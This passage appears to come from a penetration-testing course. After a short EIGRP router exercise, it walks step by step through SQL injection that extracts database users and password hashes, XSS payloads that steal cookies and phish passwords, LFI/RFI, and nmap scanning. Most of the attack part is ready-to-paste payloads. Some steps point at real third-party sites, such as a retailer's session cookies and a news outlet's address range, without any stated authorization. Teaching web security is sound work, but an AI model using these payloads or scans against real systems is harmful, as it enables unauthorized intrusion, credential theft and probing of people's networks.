  922. network 1.0.0.0 0.0.0.3
  923. network 3.0.0.0 0.0.0.3
  924. exit
  925. ----------------------------------------
  926.  
  927. 7. On Router3 configure EIGRP to achieve the following requirements:
  928. ?Autonomous system 10
  929. ? Auto route summarization disabled
  930. ? All attached networks should be advertised
  931. ? No EIGRP routing updates should be sent towards Host3
  932.  
  933. -----Type these commands on router 1----
  934. enable
  935. configure terminal
  936. router eigrp 10
  937. no auto-summary
  938. network 3.0.0.0 0.0.0.3
  939. network 2.0.0.0 0.0.0.3
  940. exit
  941. ----------------------------------------
  942.  
  943. 8. On Router4 configure EIGRP to achieve the following requirements:
  944. ?Autonomous system 10
  945. ? Auto route summarization disabled
  946. ? All attached networks should be advertised
  947. ? No EIGRP routing updates should be sent towards Host4
  948.  
  949. -----Type these commands on router 1----
  950. enable
  951. configure terminal
  952. router eigrp 10
  953. no auto-summary
  954. network 4.0.0.0 0.0.0.3
  955. exit
  956. ----------------------------------------
  957.  
  958.  
  959.  
  960. ##################################
  961. # Basic: Web Application Testing #
  962. ##################################
  963.  
  964. Most people are going to tell you reference the OWASP Testing guide.
  965. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  966.  
  967. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  968.  
  969.  
  970. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  971.  
  972. 1. Does the website talk to a DB?
  973. - Look for parameter passing (ex: site.com/page.php?id=4)
  974. - If yes - try SQL Injection
  975.  
  976. 2. Can I or someone else see what I type?
  977. - If yes - try XSS
  978.  
  979. 3. Does the page reference a file?
  980. - If yes - try LFI/RFI
  981.  
  982. Let's start with some manual testing against 45.77.162.239
  983.  
  984.  
  985. Start here:
  986. ---------------------------Paste this into Firefox-----------------------------------
  987. http://45.77.162.239/
  988. -----------------------------------------------------------------------
  989.  
  990. Let's try throwing a single quote (') in there:
  991. ---------------------------Paste this into Firefox-----------------------------------
  992. http://45.77.162.239/bookdetail.aspx?id=2'
  993. -------------------------------------------------------------------------------------
  994.  
  995. I get the following error:
  996.  
  997. Unclosed quotation mark after the character string ''.
  998. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  999.  
  1000. Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
  1001.  
  1002.  
  1003.  
  1004.  
  1005.  
  1006.  
  1007.  
  1008.  
  1009.  
  1010.  
  1011. #########################################################################################
  1012. # SQL Injection #
  1013. # https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx #
  1014. #########################################################################################
  1015.  
  1016.  
  1017. - Another quick way to test for SQLI is to remove the parameter value
  1018.  
  1019.  
  1020. #############################
  1021. # Error-Based SQL Injection #
  1022. #############################
  1023. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1024. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  1025. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  1026. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  1027. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  1028. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  1029. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
  1030. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  1031. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  1032. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  1033. ---------------------------------------------------------------------------------------------------------
  1034.  
  1035.  
  1036.  
  1037.  
  1038.  
  1039. #############################
  1040. # Union-Based SQL Injection #
  1041. #############################
  1042. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1043. http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
  1044. http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
  1045. http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
  1046. http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
  1047. http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
  1048. http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
  1049. http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
  1050. http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
  1051. http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
  1052. http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  1053. ---------------------------------------------------------------------------------------------------------
  1054.  
  1055. We are using a union select statement because we are joining the developer's query with one of our own.
  1056. Reference:
  1057. http://www.techonthenet.com/sql/union.php
  1058. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  1059. It removes duplicate rows between the various SELECT statements.
  1060.  
  1061. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  1062. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1063. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  1064. ---------------------------------------------------------------------------------------------------------
  1065. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  1066.  
  1067. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1068. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  1069. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  1070. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  1071. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  1072. ---------------------------------------------------------------------------------------------------------
  1073.  
  1074.  
  1075.  
  1076.  
  1077. - Another way is to see if you can get the backend to perform an arithmetic function
  1078. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1079. http://45.77.162.239/bookdetail.aspx?id=(2)
  1080. http://45.77.162.239/bookdetail.aspx?id=(4-2)
  1081. http://45.77.162.239/bookdetail.aspx?id=(4-1)
  1082. ---------------------------------------------------------------------------------------------------------
  1083.  
  1084. - This is some true/false logic testing
  1085. ---------------------------Paste this into Firefox-----------------------------------
  1086. http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
  1087. http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
  1088. http://45.77.162.239/bookdetail.aspx?id=1*1
  1089. http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
  1090. http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
  1091. http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
  1092. http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
  1093. http://45.77.162.239/bookdetail.aspx?id=2 &0#
  1094. -------------------------------------------------------------------------------------
  1095.  
  1096. -- Now that we've seen the differences in the webpage with True/False SQL Injection - let's see what we can learn using it
  1097. ---------------------------Paste this into Firefox-----------------------------------
  1098. http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
  1099. http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
  1100. http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
  1101. http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
  1102. ---------------------------------------------------------------------------------------
  1103.  
  1104.  
  1105. ###############################
  1106. # Blind SQL Injection Testing #
  1107. ###############################
  1108. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  1109.  
  1110. 3 - Total Characters
  1111. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1112. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  1113. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  1114. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
  1115. ---------------------------------------------------------------------------------------------------------
  1116.  
  1117. Let's go for a quick check to see if it's DBO
  1118. ---------------------------Paste this into Firefox-----------------------------------
  1119. http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  1120. -------------------------------------------------------------------------------------
  1121. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  1122.  
  1123. D - 1st Character
  1124. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1125. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
  1126. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  1127. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  1128. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  1129. ---------------------------------------------------------------------------------------------------------
  1130.  
  1131. B - 2nd Character
  1132. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1133. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1134. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1135. ---------------------------------------------------------------------------------------------------------
  1136.  
  1137. O - 3rd Character
  1138. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1139. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1140. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  1141. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1142. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1143. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  1144. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
  1145. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1146. ---------------------------------------------------------------------------------------------------------
  1147.  
  1148.  
  1149.  
  1150.  
  1151.  
  1152. #######################
  1153. # Attacking PHP/MySQL #
  1154. #######################
  1155.  
  1156. Go to LAMP Target homepage
  1157. ---------------------------Paste this into Firefox-----------------------------------
  1158. http://45.63.104.73/
  1159. -------------------------------------------------------------------------------------
  1160.  
  1161.  
  1162. Clicking on the Acer Link:
  1163. ---------------------------Paste this into Firefox-----------------------------------
  1164. http://45.63.104.73/acre2.php?lap=acer
  1165. -------------------------------------------------------------------------------------
  1166.  
  1167. - Found parameter passing (answer yes to question 1)
  1168. - Insert ' to test for SQLI
  1169.  
  1170. ---------------------------Paste this into Firefox-----------------------------------
  1171. http://45.63.104.73/acre2.php?lap=acer'
  1172. -------------------------------------------------------------------------------------
  1173.  
  1174. Page returns the following error:
  1175. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
  1176.  
  1177.  
  1178.  
  1179. In order to perform union-based sql injection - we must first determine the number of columns in this query.
  1180. We do this using the ORDER BY
  1181. ---------------------------Paste this into Firefox-----------------------------------
  1182. http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
  1183. -------------------------------------------------------------------------------------
  1184.  
  1185.  
  1186. Page returns the following error:
  1187. Unknown column '100' in 'order clause'
  1188.  
  1189.  
  1190. ---------------------------Paste this into Firefox-----------------------------------
  1191. http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
  1192. -------------------------------------------------------------------------------------
  1193.  
  1194.  
  1195. Page returns the following error:
  1196. Unknown column '50' in 'order clause'
  1197.  
  1198.  
  1199. ---------------------------Paste this into Firefox-----------------------------------
  1200. http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
  1201. -------------------------------------------------------------------------------------
  1202.  
  1203. Page returns the following error:
  1204. Unknown column '25' in 'order clause'
  1205.  
  1206.  
  1207. ---------------------------Paste this into Firefox-----------------------------------
  1208. http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
  1209. -------------------------------------------------------------------------------------
  1210.  
  1211. Page returns the following error:
  1212. Unknown column '12' in 'order clause'
  1213.  
  1214.  
  1215. ---------------------------Paste this into Firefox-----------------------------------
  1216. http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
  1217. -------------------------------------------------------------------------------------
  1218. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
  1219.  
  1220.  
  1221.  
  1222. Now we build out the union all select statement with the correct number of columns
  1223.  
  1224. Reference:
  1225. http://www.techonthenet.com/sql/union.php
  1226.  
  1227.  
  1228. ---------------------------Paste this into Firefox-----------------------------------
  1229. http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
  1230. -------------------------------------------------------------------------------------
  1231.  
  1232.  
  1233.  
  1234. Now we negate the parameter value 'acer' by turning into the word 'null':
  1235.  
  1236. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
  1237. -------------------------------------------------------------------------------------
  1238.  
  1239. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
  1240.  
  1241.  
  1242. Use a cheat sheet for syntax:
  1243. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  1244.  
  1245. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1246. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
  1247.  
  1248. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
  1249.  
  1250. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
  1251.  
  1252. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
  1253.  
  1254. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
  1255. ------------------------------------------------------------------------------------- -------------------
  1256.  
  1257.  
  1258.  
  1259.  
  1260. Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
  1261.  
  1262. Here is a good reference for it:
  1263. https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
  1264.  
  1265. Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
  1266.  
  1267.  
  1268. ###############################################################################
  1269. # What is XSS #
  1270. # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx #
  1271. ###############################################################################
  1272.  
  1273. OK - what is Cross Site Scripting (XSS)
  1274.  
  1275. 1. Use Firefox to browse to the following location:
  1276. ---------------------------Paste this into Firefox-----------------------------------
  1277. http://45.63.104.73/xss_practice/
  1278. -------------------------------------------------------------------------------------
  1279.  
  1280. A really simple search page that is vulnerable should come up.
  1281.  
  1282.  
  1283.  
  1284.  
  1285. 2. In the search box type:
  1286. ---------------------------Paste this into Firefox-----------------------------------
  1287. <script>alert('So this is XSS')</script>
  1288. -------------------------------------------------------------------------------------
  1289.  
  1290.  
  1291. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  1292. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  1293.  
  1294.  
  1295. 3. In the search box type:
  1296. ---------------------------Paste this into Firefox-----------------------------------
  1297. <script>alert(document.cookie)</script>
  1298. -------------------------------------------------------------------------------------
  1299.  
  1300.  
  1301. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  1302. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  1303.  
  1304. 4. Now replace that alert script with:
  1305. ---------------------------Paste this into Firefox-----------------------------------
  1306. <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  1307. -------------------------------------------------------------------------------------
  1308.  
  1309. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  1310.  
  1311.  
  1312. 5. Now view the stolen cookie at:
  1313. ---------------------------Paste this into Firefox-----------------------------------
  1314. http://45.63.104.73/xss_practice/cookie_stealer_logs.html
  1315. -------------------------------------------------------------------------------------
  1316.  
  1317. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  1318.  
  1319.  
  1320.  
  1321.  
  1322.  
  1323.  
  1324. ############################
  1325. # A Better Way To Demo XSS #
  1326. ############################
  1327.  
  1328.  
  1329. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  1330.  
  1331.  
  1332. Use Firefox to browse to the following location:
  1333. ---------------------------Paste this into Firefox-----------------------------------
  1334. http://45.63.104.73/xss_practice/
  1335. -------------------------------------------------------------------------------------
  1336.  
  1337.  
  1338. Paste this in the search box
  1339. ----------------------------
  1340.  
  1341.  
  1342. Option 1
  1343. --------
  1344. ---------------------------Paste this into Firefox-----------------------------------
  1345. <script>
  1346. password=prompt('Your session is expired. Please enter your password to continue',' ');
  1347. document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
  1348. </script>
  1349. -------------------------------------------------------------------------------------
  1350.  
  1351. Now view the stolen cookie at:
  1352. ---------------------------Paste this into Firefox-----------------------------------
  1353. http://45.63.104.73/xss_practice/passwords.html
  1354. -------------------------------------------------------------------------------------
  1355.  
  1356.  
  1357. Option 2
  1358. --------
  1359. -------------------------Paste this into Firefox-----------------------------------
  1360. <script>
  1361. username=prompt('Please enter your username',' ');
  1362. password=prompt('Please enter your password',' ');
  1363. document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
  1364. </script>
  1365. -------------------------------------------------------------------------------------
  1366.  
  1367.  
  1368.  
  1369. Now view the stolen cookie at:
  1370. http://45.63.104.73/xss_practice/username_password_logs.html
  1371.  
  1372.  
  1373.  
  1374.  
  1375.  
  1376.  
  1377.  
  1378. #######################################
  1379. # Playing Around with Session cookies #
  1380. #######################################
  1381.  
  1382. Step 1: Browse to NewEgg.com
  1383. -------------------------Paste this into Firefox-----------------------------------
  1384. https://secure.newegg.com/
  1385. ----------------------------------------------------------------------------------
  1386.  
  1387.  
  1388. Step 2: Browse to the shopping cart page NewEgg.com
  1389. -------------------------Paste this into Firefox-----------------------------------
  1390. https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
  1391. ----------------------------------------------------------------------------------
  1392.  
  1393.  
  1394. Step 3: View the current session ID
  1395. -------------------------Paste this into Firefox-----------------------------------
  1396. javascript:void(document.write(document.cookie))
  1397. ------------------------------------------------------------------------------------
  1398.  
  1399. Step 4: Go back to the shopping cart page (click the back button)
  1400. ---------------------------------------------------------------------------------
  1401. https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
  1402. ---------------------------------------------------------------------------------
  1403.  
  1404.  
  1405. Step 5: Now let's modify the session ID
  1406. -------------------------Paste this into Firefox-----------------------------------
  1407. javascript:void(document.cookie="PHPSessionID=wow-this-is-fun")
  1408. ------------------------------------------------------------------------------------
  1409.  
  1410.  
  1411.  
  1412. Step 6: Go back to the shopping cart page (click the back button)
  1413. ---------------------------------------------------------------------------------
  1414. https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
  1415. ---------------------------------------------------------------------------------
  1416.  
  1417.  
  1418.  
  1419. Step 7: View the current session ID
  1420. -------------------------Paste this into Firefox-----------------------------------
  1421. javascript:void(document.write(document.cookie))
  1422. -----------------------------------------------------------------------------------
  1423.  
  1424.  
  1425. #########################################
  1426. # Let's try a local file include (LFI) #
  1427. #########################################
  1428. - Here is an example of an LFI
  1429. - Open this page in Firefox:
  1430. -------------------------Paste this into Firefox-----------------------------------
  1431. http://45.63.104.73/showfile.php?filename=contactus.txt
  1432. -------------------------------------------------------------------------------------
  1433.  
  1434.  
  1435. - Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt)
  1436. - Here you see a direct reference to a file on the local filesystem of the victim machine.
  1437. - You can attack this by doing the following:
  1438. -------------------------Paste this into Firefox-----------------------------------
  1439. http://45.63.104.73/showfile.php?filename=/etc/passwd
  1440. -------------------------------------------------------------------------------------
  1441.  
  1442.  
  1443. - This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from
  1444. - somewhere else on the Internet. Here is an example of a text file on the web:
  1445. -------------------------Paste this into Firefox-----------------------------------
  1446. http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  1447. -------------------------------------------------------------------------------------
  1448.  
  1449. - Now we can attack the target via RFI like this:
  1450. -------------------------Paste this into Firefox-----------------------------------
  1451. http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  1452. -------------------------------------------------------------------------------------
  1453.  
  1454.  
  1455.  
  1456. Step 1: Download and Install Nmap
  1457. ---------------------------------
  1458. Windows: https://nmap.org/dist/nmap-7.70-setup.exe
  1459. Mac OS X: https://nmap.org/dist/nmap-7.70.dmg
  1460.  
  1461. Linux:
  1462. --- Fedora/CentOS/RHEL: sudo yum install -y nmap
  1463. --- Ubuntu/Mint/Debian: sudo apt-get install -y nmap
  1464.  
  1465.  
  1466.  
  1467.  
  1468.  
  1469. Step 2: Perform basic nmap scans
  1470. --------------------------------
  1471.  
  1472. ########################
  1473. # Scanning Methodology #
  1474. ########################
  1475.  
  1476. - Ping Sweep
  1477. What's alive?
  1478. ------------
  1479. Note: On windows you won't need to use the word "sudo" in front of the command below:
  1480.  
  1481. ---------------------------On Linux or Mac OS X type This-----------------------------------
  1482. sudo nmap -sP 157.166.226.*
  1483.  
  1484. ---------------------------or on Windows type:---------------------------------------------
  1485. c:\nmap -sP 157.166.226.*
  1486.  
  1487. --------------------------------------------------------------------------------------------
  1488.  
  1489.  
  1490.  
  1491. -if -SP yields no results try:
  1492. Note: On windows you won't need to use the word "sudo" in front of the command below:
  1493. ---------------------------On Linux or Mac OS X type This-----------------------------------
  1494. sudo nmap -sL 157.166.226.*
  1495.  
  1496. ---------------------------or on Windows type:---------------------------------------------
  1497. c:\nmap -sL 157.166.226.*
  1498.  
  1499. ------------------------------------------------------------------------------------------
  1500.  
  1501.  
  1502.  
  1503. -Look for hostnames:
  1504. Note: On windows you won't need to use the word "sudo" in front of the command below:
  1505. ---------------------------On Linux or Mac OS X type This-----------------------------------
  1506. sudo nmap -sL 157.166.226.* | grep com
  1507.  
  1508. ---------------------------or on Windows type:---------------------------------------------
  1509. c:\nmap -sP 157.166.226.* | findstr "cnn"
  1510.  
  1511. -------------------------------------------------------------------------------------------
  1512.  
  1513.  
  1514.  
  1515. - Port Scan
  1516. What's where?
  1517. ------------
  1518. Note: On windows you won't need to use the word "sudo" in front of the command below:
  1519. ---------------------------On Linux or Mac OS X type This-----------------------------------
  1520. sudo nmap -sS 162.243.126.247
  1521.  
  1522. ---------------------------or on Windows type:----------------------------------------------
  1523. c:\nmap -sS 162.243.126.247
  1524.  
  1525. --------------------------------------------------------------------------------------------
  1526.  
  1527.  
  1528.  
  1529. - Bannergrab/Version Query
  1530. What versions of software are running
  1531. -------------------------------------
  1532. Note: On windows you won't need to use the word "sudo" in front of the command below:
  1533. ---------------------------On Linux or Mac OS X type This-----------------------------------
  1534. sudo nmap -sV 162.243.126.247
  1535.  
  1536. ---------------------------or on Windows type:---------------------------------------------
  1537. c:\nmap -sV 162.243.126.247
  1538. -------------------------------------------------------------------------------------------
  1539.  
  1540.  
  1541.  
  1542. Let's dig into this a little bit more:
  1543. -------------------------------------
  1544. Note: On windows you won't need to use the word "sudo" in front of the command below:
  1545. ---------------------------On Linux or Mac OS X type This-----------------------------------
  1546. sudo nmap -sV --script=http-headers 162.243.126.247 -p 80,443
  1547.  
  1548. ---------------------------or on Windows type:---------------------------------------------
  1549. c:\nmap -sV --script=http-headers 162.243.126.247 -p 80,443
  1550. -------------------------------------------------------------------------------------------
  1551.  
  1552.  
  1553.  
  1554. - Vulnerability Research
  1555. Lookup the banner versions for public exploits
  1556. ----------------------------------------------
  1557. http://exploit-db.com
  1558. http://securityfocus.com/bid
  1559. https://packetstormsecurity.com/files/tags/exploit/
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